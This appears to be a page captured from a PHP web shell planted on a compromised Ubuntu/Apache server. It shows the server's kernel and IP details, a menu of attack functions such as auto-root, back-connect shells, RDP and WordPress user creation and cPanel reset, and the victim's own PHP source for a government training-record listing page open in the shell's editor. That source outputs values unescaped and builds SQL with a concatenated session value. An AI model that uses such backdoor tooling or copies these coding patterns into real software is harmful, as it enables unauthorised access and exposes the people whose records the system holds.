Linux 0193-eed-moe-app01 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 x86_64
Apache/2.4.52 (Ubuntu)
: 172.16.229.234 | : 18.118.3.199
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.18
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
eedpims /
localtraining /
[ HOME SHELL ]
Name
Size
Permission
Action
atpaper1
[ DIR ]
drwxr-xr-x
atpaper2
[ DIR ]
drwxr-xr-x
localtraining.php
6.26
KB
-rw-r--r--
localtraining_editor.php
4.71
KB
-rw-r--r--
localtraining_list.php
6.77
KB
-rw-r--r--
view.php
3.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : localtraining_list.php
<?php include("../homepage/header.php"); include("../homepage/headermenu.php"); if(empty($_SESSION["username"])) { Header("Location: ../login/login.php"); } ?> <div class="container fullheight"> <div class="row"> <div class="col-md-6 col-md-offset-4"> <br/> <form name="search_frm" id="search_frm" class="form-inline"> <label>Search Key</label> <input type="text" name="field_value" id="field_value" value="<?=$_SESSION["field_value"]?>" class="form-control"> <input type="hidden" name="cmd" id="cmd" value="search_localtraining" > <input type="submit" class="btn btn-primary" value="Search"> </form> </div> </div> <div class="row"> <div class="col-md-10 col-md-offset-1"> <a style="text-decoration: none" href="localtraining.php?cmd=edit">অভ্যন্তরীণ প্রশিক্ষণের তথ্য যোগ করুন</a></font> <div style="background-color: #ff0000;height: 2px"> </div> <br/> <table class="table table-bordered table-striped table-condensed"> <thead> <th>PIMS আইডি</th> <th>প্রশিক্ষণের শিরোনাম</th> <th>প্রশিক্ষণ প্রদানকারী প্রতিষ্ঠানের নাম</th> <th>লোকেশন</th> <th> শুরুর তারিখ</th> <th> শেষের তারিখ</th> <th>ফলাফল</th> <th>অনুমতিপত্র</th> <th>প্রশিক্ষণের সমাপ্তি পত্র</th> <th style="text-align: center">সংশোধন</th> <th style="text-align: center">ভিউ</th> </thead> <tbody> <?php if($_SESSION["search"]=="yes") { $val= $_SESSION["field_value"]; $whrstr = "%$val%"; } else { $whrstr = "%%"; } $rowsPerPage = 10; $pageNum = 1; if(isset($_REQUEST["page"])) { $pageNum = $_REQUEST["page"]; } $offset = ($pageNum - 1) * $rowsPerPage; $stmt = $conn->prepare("SELECT id, GovtId, coursetitle, instName, instLocation, startDate, endDate, exmresult, atpaper1, atpaper2 FROM localtraining WHERE userinfo_id=".$_SESSION["user_id"]." AND GovtId LIKE ? ORDER BY startDate DESC LIMIT ?, ?"); $stmt->bind_param("sii",$whrstr,$offset,$rowsPerPage); $stmt->execute(); $slno=0; //Result $result = $stmt->get_result(); $numrows=$result->num_rows; if($numrows==0) exit("No rows"); $slno=0; while($row = $result->fetch_assoc()) { $id = $row["id"]; $GovtId = $row["GovtId"]; $coursetitle = $row["coursetitle"]; $instName = $row["instName"]; $instLocation = $row["instLocation"]; $startDate = $row["startDate"]; $endDate = $row["endDate"]; $exmresult = $row["exmresult"]; $atpaper1 = $row["atpaper1"]; $atpaper2 = $row["atpaper2"]; ?> <tr> <td><?=bangladate($GovtId)?></td> <td><?=$coursetitle ?></td> <td><?=$instName ?></td> <td><?=$instLocation ?></td> <td><?=bangladate($startDate) ?></td> <td><?=bangladate($endDate) ?></td> <td><?=$exmresult ?></td> <td> <a href="<?=$atpaper1?>"> <span class="glyphicon glyphicon-paperclip"></span> </a> </td> <td> <a href="<?=$atpaper2?>"> <span class="glyphicon glyphicon-paperclip"></span> </a> </td> <td align="center"> <a href="localtraining.php?cmd=edit&id=<?=$id?>"> <span class="glyphicon glyphicon-pencil"></span></a> </td> <td align="center"> <a href="view.php?GovtId=<?=$GovtId?>" > <span class="glyphicon glyphicon-eye-open"></span></a> </td> </tr> <?php } ?> </tbody> <thead> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th> </th> <th style="text-align: center"> </th> </thead> </table> <div align="center"> <?php $stmt = $conn->prepare("SELECT id FROM localtraining WHERE GovtId LIKE ? ORDER BY id ASC"); $stmt->bind_param("s",$whrstr); $stmt->execute(); //Result $result = $stmt->get_result(); $numrows=$result->num_rows; $maxPage = ceil($numrows/$rowsPerPage); $self = "localtraining.php?cmd=list"; $nav = ""; $start = ceil($pageNum/5)*5-5+1; $end = ceil($pageNum/5)*5; if($maxPage<$end) { $end = $maxPage; } for($page = $start; $page <= $end; $page++) { if ($page == $pageNum) { $nav .= "<span class=\"page-link\"><font color=\"red\">$page</font></span>"; } else { $nav .= " <a href=\"$self&&page=$page\" class=\"page-link\">$page</a> "; } } if ($pageNum > 1) { $page = $pageNum - 1; $prev = " <a href=\"$self&&page=$page\" class=\"page-link\">Prev</a> "; $first = " <a href=\"$self&&page=1\" class=\"page-link\">[First Page]</a> "; } else { $prev = " "; $first = " "; } if ($pageNum < $maxPage) { $page = $pageNum + 1; $next = " <a href=\"$self&&page=$page\" class=\"page-link\">Next</a> "; $last = " <a href=\"$self&&page=$maxPage\" class=\"page-link\">Last Page</a> "; } else { $next = " "; $last = " "; } if($numrows>1) { echo '<nav> <ul class="pagination"> <li class="page-item">'.$first.'</li><li class="page-item">'.$prev.'</li> <li class="page-item">'.$nav .'</li> <li class="page-item">'.$next.'</li> <li class="page-item">'. $last.'</li> </ul></nav>'; } ?> </div> </div> </div> </div> <?php include("../homepage/footer.php"); ?>
Close